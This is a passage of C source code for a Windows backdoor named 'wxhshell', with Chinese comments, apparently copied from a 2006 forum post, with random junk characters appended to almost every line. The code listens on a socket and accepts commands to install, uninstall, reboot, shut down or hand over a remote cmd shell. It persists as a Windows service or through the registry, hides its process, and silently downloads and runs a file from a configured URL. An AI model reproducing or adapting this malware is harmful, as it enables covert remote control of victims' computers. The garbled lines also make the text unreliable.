    break;  U,Z(h  
  } K<s\:$VVh  
  // 安装 vja^ O  
  case 'i': { &2QN^)q  
    if(Install()) xg3G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i}HF  
    else nHZ 4):`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gc@ENE f  
    break; 0CTI=<;  
    } @Chj0wWZ>  
  // 卸载 |nm,5gPNC  
  case 'r': { zaoZCyJT%  
    if(Uninstall()) ]&}?J:+?0E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VLQfuh;  
    else =faV,o&{`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xc Pn  
    break; 1%1-j  
    } .bpxSU%X  
  // 显示 wxhshell 所在路径 v{%2`_c  
  case 'p': { _Z8zD[l  
    char svExeFile[MAX_PATH]; :=~([oSNW"  
    strcpy(svExeFile,"\n\r"); N k^#Sa?  
      strcat(svExeFile,ExeFile); y#x]?%m  
        send(wsh,svExeFile,strlen(svExeFile),0); N:&^ql4  
    break; !sR`]0  
    } { 0Leua  
  // 重启 A>d*<#x  
  case 'b': { C/]0jAAE7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  p&ZD1qa  
    if(Boot(REBOOT)) cT.1oaAM0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T}4RlIZF  
    else { |@d7o]eM|  
    closesocket(wsh); _-^ KqNyy  
    ExitThread(0); n*_FC  
    } W6wgX0H  
    break; U)c,ZxE  
    } MNJ$/l)h  
  // 关机 M+nz~,![  
  case 'd': { N %0F[sY6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m\jp$  
    if(Boot(SHUTDOWN)) B-eYWt8s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ii~~xt1  
    else { &4B N9`|:  
    closesocket(wsh); 8[zP2L!-  
    ExitThread(0); }0f[x ?V  
    } !@*Ac$J>$  
    break; %2qvK}  
    } b`%/ *  
  // 获取shell x2K.5q>  
  case 's': { ~0worI?  
    CmdShell(wsh); v?Y9z!M  
    closesocket(wsh); Fdvex$r&  
    ExitThread(0); ZM4q@O)/  
    break; ]A!Gr(FHQ  
  } ^#"!uCq]gM  
  // 退出 v( (fRX.`  
  case 'x': { !&19%C4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \_BaV0<  
    CloseIt(wsh); t;E-9`N  
    break; BIX%Bu0'f  
    } vp-)$f&  
  // 离开 t ZF G`'/  
  case 'q': { -*tP_=-Dg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {]|};E[}m  
    closesocket(wsh); &a-:ZA@  
    WSACleanup(); [h,T.zpa  
    exit(1); [l'~>  
    break; t5e%"}>7H  
        } QbS w<V  
  } {$Fg+~   
  } "1`c^  
HiVF<tN  
  // 提示信息 9I9J}&4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R+, tn,<<  
} *gZ4Ub|O  
  } *crpM3fO>  
PZH]9[H  
  return; m",$M>  
} ^=Up U B  
0$* z   
// shell模块句柄 q6/ o.j   
int CmdShell(SOCKET sock) R-hqaEB  
{ [YJP  
STARTUPINFO si; js7J#b7  
ZeroMemory(&si,sizeof(si)); }GQ8|fg`U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZK_IK)g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vNi7=3  
PROCESS_INFORMATION ProcessInfo; TZPWMCN4  
char cmdline[]="cmd"; C6O1ype  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D='/-3f!F]  
  return 0; Y.jg }oV  
} sStaT R{  
b)'Ew27  
// 自身启动模式 y&9v0&o  
int StartFromService(void) H6rWb6i  
{ 3(6i6 vV  
typedef struct PS(9?rX#+  
{ >MS}7Hk\  
  DWORD ExitStatus; ZXHG2@E)  
  DWORD PebBaseAddress; )N`ia%p_]  
  DWORD AffinityMask; >RE&>T^8  
  DWORD BasePriority; g#5g0UP)V  
  ULONG UniqueProcessId; Z4bN|\I  
  ULONG InheritedFromUniqueProcessId; =F8uuYX%m  
}   PROCESS_BASIC_INFORMATION; '-gk))u>)  
E{ Y0TZ+  
PROCNTQSIP NtQueryInformationProcess; 18V*Cu  
;z)$wH0xc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0O"GI33Mg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yy>%dL  
M _$pqVm  
  HANDLE             hProcess; tCtR(mG=A  
  PROCESS_BASIC_INFORMATION pbi; BalOph4M[  
U: gE:tf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u\&oiwSIP  
  if(NULL == hInst ) return 0; !W]># Pm  
#=Q/<r.~G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =<O{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9v 0.]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); / D#vs9S  
:a#]"z0  
  if (!NtQueryInformationProcess) return 0; 1:q55!b  
RAXqRP,iw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =EsKFt"  
  if(!hProcess) return 0; KW^s~j  
WO^sm Ck  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $//18+T  
1\kOjF)l  
  CloseHandle(hProcess); fcD$km  
Q gDjc '  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ E>D0o  
if(hProcess==NULL) return 0; 'rp(k\ pY  
&FkKnz4IZ  
HMODULE hMod; g4RkkoZ>)  
char procName[255]; J>] ' {!+  
unsigned long cbNeeded; >xJt&jW-  
m$pXe<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4#;rv$ {  
3,3{wGvHHW  
  CloseHandle(hProcess); 7<|1 xOT  
<MA!?7Z|  
if(strstr(procName,"services")) return 1; // 以服务启动 v?fB:[dG  
;7tOFsV  
  return 0; // 注册表启动 Ml+.\'r  
} =h5&\4r=  
m\"M`o B  
// 主模块 NTs< ;ED  
int StartWxhshell(LPSTR lpCmdLine) qSkt }F%'  
{ %jqBYn0q'  
  SOCKET wsl; 0wAZ9AxA{  
BOOL val=TRUE; V1xpJ  
  int port=0; mZ ONxR6q$  
  struct sockaddr_in door; K)l{3\9l|  
Crm](Z?  
  if(wscfg.ws_autoins) Install(); P,CJy|[L  
JNuo+Pq  
port=atoi(lpCmdLine); @T?:[nPf&F  
)1~4Tl,S  
if(port<=0) port=wscfg.ws_port; _Dwn@{[(8  
TLPy/,  
  WSADATA data; L4 x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XMa(XOnX  
f*2V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HP*x?|4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l \xIGs  
  door.sin_family = AF_INET; D@>P%k$$s>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T>kJB.V:oQ  
  door.sin_port = htons(port); u;h9Ra1  
>fdS$,`A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EG7ki0  
closesocket(wsl); isQ{Xt~K  
return 1; _d A-{  
} `@")R-  
oopTo51,a  
  if(listen(wsl,2) == INVALID_SOCKET) { %DgU  
closesocket(wsl); 8^c|9ow  
return 1; H Tf7r-  
} 4LUFG  
  Wxhshell(wsl); '`/1?,=  
  WSACleanup(); \hv*`ukF  
k{y@&QNj  
return 0;  W* `2lf  
^0~?3t5  
} :g+R}TR[i  
z/6kxV89  
// 以NT服务方式启动 ]Ol@^$8}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c .KpXY  
{ aR*z5p2-w  
DWORD   status = 0; ldI;DoE#U1  
  DWORD   specificError = 0xfffffff; 4q~+K' Z  
WASs'Gx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t+q:8HNh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WvUe44&^$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]/bf#&@g`k  
  serviceStatus.dwWin32ExitCode     = 0; -]W AB9  
  serviceStatus.dwServiceSpecificExitCode = 0; bYgrKz@uK  
  serviceStatus.dwCheckPoint       = 0; @e$z Ej5  
  serviceStatus.dwWaitHint       = 0; Y;xVB" (  
4SY]Q[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;u!>( QQ  
  if (hServiceStatusHandle==0) return; H5^ 'J`0\  
_4xX}Z;  
status = GetLastError(); \Ao M'+  
  if (status!=NO_ERROR) sW3-JA]  
{ nd'zO#"m?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JV(|7Sk  
    serviceStatus.dwCheckPoint       = 0; I$9 t^82j  
    serviceStatus.dwWaitHint       = 0; 3xp%o5K  
    serviceStatus.dwWin32ExitCode     = status; \iSaxwU_  
    serviceStatus.dwServiceSpecificExitCode = specificError; aoI{<,(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7MOjZD4?  
    return; >9uDY+70I3  
  } 6b6}HO  
w[~$.FM/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @m1vB!  
  serviceStatus.dwCheckPoint       = 0; BqCBH!^x  
  serviceStatus.dwWaitHint       = 0; aOyAP-m,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2\CFt;fk  
} tm#T8iF  
$*9h\W-)`Q  
// 处理NT服务事件,比如:启动、停止 a^,6[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TPvS+_<oL{  
{ b@/z^k{%  
switch(fdwControl) #gUM%$  
{ Ke~a  
case SERVICE_CONTROL_STOP: f,)[f M4  
  serviceStatus.dwWin32ExitCode = 0; ;rV0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hh$x8ADf  
  serviceStatus.dwCheckPoint   = 0; 6^if%62l&  
  serviceStatus.dwWaitHint     = 0; YB*ZYpRVl  
  { _;G"{e.=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r2M._}bF  
  } o'D{ql  
  return; ++5W_Ooep  
case SERVICE_CONTROL_PAUSE: Nye Ga  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WG1Uv PK  
  break; ne oT\HV  
case SERVICE_CONTROL_CONTINUE: s@jzu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %K\_gR}V  
  break; NMJ230?  
case SERVICE_CONTROL_INTERROGATE: `Ft.Rwj2:m  
  break; qCc'w8A  
}; A@?2qX^4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )67Kd]  
} i(a2FKLy  
zX"@QB3E  
// 标准应用程序主函数 H8`K?SXU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +s V$s]U  
{ - 9UQs.Nv  
sc@v\J;k  
// 获取操作系统版本 :\4?{,@_h  
OsIsNt=GetOsVer(); DCACj-f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (=j]fnH?  
Y 'Yoc  
  // 从命令行安装 /E2/3z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 51*o&:eim  
w3:Y]F.ot  
  // 下载执行文件 WID4{>G2  
if(wscfg.ws_downexe) { THi*'D/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zF>| 9JU  
  WinExec(wscfg.ws_filenam,SW_HIDE); zRx-xWo  
} 17a'C  
isLIfE>  
if(!OsIsNt) { NJ/6_e  
// 如果时win9x,隐藏进程并且设置为注册表启动 IR;lt 3  
HideProc(); ?}D@{%O3T  
StartWxhshell(lpCmdLine); +`r;3kH ..  
} 5 UpN/\He  
else ssoIC  
  if(StartFromService()) b%2+g<UKh  
  // 以服务方式启动 j="{^b  
  StartServiceCtrlDispatcher(DispatchTable); ~gNa<tg"1  
else I: P/ ?-  
  // 普通方式启动 frWw-<HoI  
  StartWxhshell(lpCmdLine); ;sE;l7  
*r6+Vz  
return 0; 9KN75<n  
}
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只看该作者 1 发表于: 2006-10-10
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